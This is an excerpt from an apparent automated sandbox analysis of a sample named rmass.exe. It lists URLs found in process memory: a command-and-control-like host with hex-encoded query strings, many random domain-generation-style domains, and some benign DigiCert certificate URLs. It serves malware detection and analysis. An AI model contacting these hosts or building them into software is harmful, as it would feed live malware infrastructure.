Source: rmass.exe, 00000001.00000003.3996711314.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4005365270.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995627853.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995394098.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3998738089.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C22190E9C22190
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3996711314.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995352677.00000000008F8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4005365270.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995627853.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995394098.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3998738089.0000000003F5A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C22190E9C22190E9EC21BCE9C221B851C60DB22DC3215041C025A6C7F00FA9DBF211BEE9
Source: rmass.exe, 00000001.00000003.4017463021.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4022902034.0000000003F51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C22190E9C22190E9EC21BCE9C221B851C60DB22DC3215041C025A6p
Source: rmass.exe, 00000001.00000003.3820982016.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C2EEF14AC2EEF14AECEEDD4AC2EED9F2C6C2D38EC3EE31E2C0EAC764F0C0C878F2DEDF4A
Source: rmass.exe, 00000001.00000003.3795528088.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3798206850.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3789215703.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754388366.00000000008BB000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C4C2F480C4C2F480EAC2D8
Source: rmass.exe, 00000001.00000003.3784484151.00000000008E1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743423728.00000000008BE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C4C2F480C4C2F480EAC2D880C4C2DC38C0EED644C5C23428C6C6C2AEF6ECCDB2F4F2DA80
Source: rmass.exe, 00000001.00000003.3820982016.000000000090B000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3932866489.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C4E868
Source: rmass.exe, 00000001.00000003.3820982016.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C4E86813C4E86813EAE84413C4E840ABC0C44AD7C5E8A8BBC6EC5E
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795773851.000000000090B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02C4E86813C4E86813EAE84413C4E840ABC0C44AD7C5E8A8BBC6EC5E3DF6C65121F4D84613
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02CCDC7644CCDC7644E2DC5A44CCDC5EFCC8F05480CDDCB6ECCED8406AFEF24F76FCEC5844
Source: rmass.exe, 00000001.00000003.3766867858.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3756714745.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3760692564.0000000003F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02CDE603DDCDE603DDE3E62FDDCDE62B
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3752953243.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754209254.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754782175.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754430417.0000000003F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02CDE603DDCDE603DDE3E62FDDCDE62B65C9CA2119CCE6C375CFE235F3FFC83AEFFDD62DDD
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3820741254.0000000003F06000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3820346294.0000000003F06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02D3E5C395D3E5C395FDE5EF95D3E5EB2DD7C9E151D2E5033DD1E1F5BBE1CBFAA7E3D5ED95
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02D3E5C395D3E5C395FDE5EF95D3E5EB2DD7C9E151D2E5033DD1E1F5BBE1CBFAA7E3D5ED95t
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4043644486.0000000003F51000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4148111821.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000002.4172097692.00000000008FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02E963004DE963004DC7632C4DE96328F5ED4F2289E863C0E5EB673663DB4D397FD9532E4D
Source: rmass.exe, 00000001.00000003.4044702751.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02E963004DE963004DC7632C4DE96328F5ED4F2289E863C0E5EB673663DB4D397FD9532E4DM
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02EBFB46B2EBFB46B2C5FB6AB2EBFB6E0AEFD76476EAFB861AE9FF709CD9D57F80DBCB68B2
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02F064A676F064A676DE648A76F0648ECEF44884B2F16466DEF2609058C24A9F44C0548876
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02F0666965F0666965DE664565F06641DDF44A4BA1F166A9CDF2625F4BC2485057C0564765
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3995627853.0000000003F27000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02F24DAE98F24DAE98DC4D8298F24D8620F6618C5CF34D6E30F04998B6C06397AAC27D8098
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02F3E04563F3E04563DDE06963F3E06DDBF7CC67A7F2E085CBF1E4734DC1CE7C51C3D06B63
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02F3E04563F3E04563DDE06963F3E06DDBF7CC67A7F2E085CBF1E4734DC1CE7C51C3D06B63tV
Source: rmass.exe, 00000001.00000002.4172616973.0000000002CFE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://argunoos.biz/d/N?02F6C2EFB8F6C2EFB8D8C2C3B8F6C2C700F2EECD7CF7C22F10F4C6D996C4ECD68AC6F2C1B8
Source: rmass.exe, 00000001.00000003.2011571742.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1976809775.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1987360738.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1994396939.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aydfeaea.pw/
Source: rmass.exe, 00000001.00000003.2011571742.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1976809775.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1987360738.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1994396939.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aydfeaea.pw/::
Source: rmass.exe, 00000001.00000003.2011571742.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1976809775.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1987360738.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.1994396939.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://aydfeaea.pw/D:q-
Source: rmass.exe, 00000001.00000003.2752528804.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2733484991.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2734026998.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bcuiiixkpygtqa.st/
Source: rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://blryaicmkgbqv.cd/
Source: rmass.exe, 00000001.00000003.3253987466.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3253001845.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://bqfzp.museum/
Source: explorer.exe, 00000004.00000003.3109928011.0000000009836000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3498166967.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4177106660.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1712490988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3109108187.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG2.crt0
Source: rmass.exe, 00000001.00000003.2554346948.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://caqvxcjyaj.nu/
Source: rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ckgudj.tk/
Source: rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ckgudj.tk/nnectionSettings
Source: rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coaccvbciv.st/
Source: rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coaccvbciv.st/ectionSettingss
Source: rmass.exe, 00000001.00000003.3593384903.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3620698977.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coeonpsesopck.mp/
Source: rmass.exe, 00000001.00000003.3593384903.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coeonpsesopck.mp/d
Source: rmass.exe, 00000001.00000003.3593384903.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3620698977.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://coeonpsesopck.mp/ed
Source: explorer.exe, 00000004.00000003.3109928011.0000000009836000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3498166967.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4177106660.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1712490988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3109108187.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG2.crl07
Source: explorer.exe, 00000004.00000003.3109928011.0000000009836000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3498166967.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4179717603.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000002.4177106660.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1712490988.000000000982D000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000000.1709945572.00000000079FB000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000004.00000003.3109108187.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootG2.crl0
Source: rmass.exe, 00000001.00000003.3593384903.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3620698977.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crzmg.cd/
Source: rmass.exe, 00000001.00000003.3593384903.00000000008BA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3620698977.00000000008BC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crzmg.cd/nts
Source: rmass.exe, 00000001.00000003.2833926939.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2842654971.00000000008D3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2840133699.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2842406526.00000000008CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cuiknmusqatjr.nu/
Source: rmass.exe, 00000001.00000003.3933758879.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933678317.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://czeocbmiquufi.nu/
Source: rmass.exe, 00000001.00000003.3933758879.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933678317.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://czeocbmiquufi.nu/cal
Source: rmass.exe, 00000001.00000003.3933758879.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933678317.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dlkeoy.mp/
Source: rmass.exe, 00000001.00000003.3933758879.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3933678317.00000000008BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dlkeoy.mp/k
Source: rmass.exe, 00000001.00000003.3261570593.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3263799036.00000000008C1000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258954340.00000000008C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docscsgcgis.nu/
Source: rmass.exe, 00000001.00000003.3261570593.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3258788300.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://docscsgcgis.nu/5
Source: rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.00000000008F0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dyrlgtmsr.nu/
Source: rmass.exe, 00000001.00000003.3448925124.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446395646.0000000000893000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dyrlgtmsr.nu/u
Source: rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3672419760.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eacoikwuy.tk/
Source: rmass.exe, 00000001.00000003.3658843267.00000000008BC000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3672419760.00000000008BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eacoikwuy.tk/e
Source: rmass.exe, 00000001.00000003.3691467091.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3756885375.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3385635250.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3389970035.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3395608764.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3679118016.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753435300.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446319307.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3541094612.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687384821.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743486146.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3588334030.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3518018071.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3503634533.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3737820268.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3673634790.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3455263197.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3399923647.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3680665470.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3404866543.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eewoj.nu/
Source: rmass.exe, 00000001.00000003.3691467091.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3756885375.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3385635250.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3389970035.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3395608764.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3679118016.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3753435300.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3446319307.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3541094612.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3687384821.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3743486146.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3588334030.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3754950394.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3518018071.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3503634533.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3737820268.00000000008F9000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3673634790.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3455263197.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3399923647.0000000000901000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3680665470.00000000008FA000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3404866543.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eewoj.nu/d%
Source: rmass.exe, 00000001.00000003.3385635250.0000000000901000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eewoj.nu/s
Source: rmass.exe, 00000001.00000003.2833338190.00000000008B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://efwqk.mp/
Source: rmass.exe, 00000001.00000003.3797671853.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3796201835.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3798782009.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3789215703.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3799886288.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795177293.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3800646182.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ekvubzmcz.museum/
Source: rmass.exe, 00000001.00000003.3789215703.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3795177293.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ekvubzmcz.museum/cal
Source: rmass.exe, 00000001.00000003.3789215703.00000000008C8000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3784484151.00000000008C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ekvubzmcz.museum/d
Source: rmass.exe, 00000001.00000003.2377792558.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2389837821.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2345084318.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2368326685.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2394141435.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2359771888.00000000008D6000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2391595342.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://emallqtafbo.mp/
Source: rmass.exe, 00000001.00000003.4118341134.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4114858010.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://entwowfsvqchd.pw/
Source: rmass.exe, 00000001.00000003.4111956487.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eqqqg.st/
Source: rmass.exe, 00000001.00000003.3091699875.00000000008D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eskshcoo.museum/
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://evcafdhw.museum/
Source: rmass.exe, 00000001.00000002.4171268430.000000000085E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://evcafdhw.museum/5
Source: rmass.exe, 00000001.00000003.4104463315.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ewivwvcymhkio.nu/d
Source: rmass.exe, 00000001.00000003.3246546302.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3138350705.00000000008D0000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3239597049.0000000000893000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3248534614.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3240496458.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3245907233.0000000000894000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.3242709231.0000000000894000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ewzgffn.cd/
Source: rmass.exe, 00000001.00000003.4104463315.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.4110527637.00000000008CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fepyp.pw/ebuggered
Source: rmass.exe, 00000001.00000003.2907028987.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, rmass.exe, 00000001.00000003.2904556424.00000000008CD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://fgewqtckc.tk/
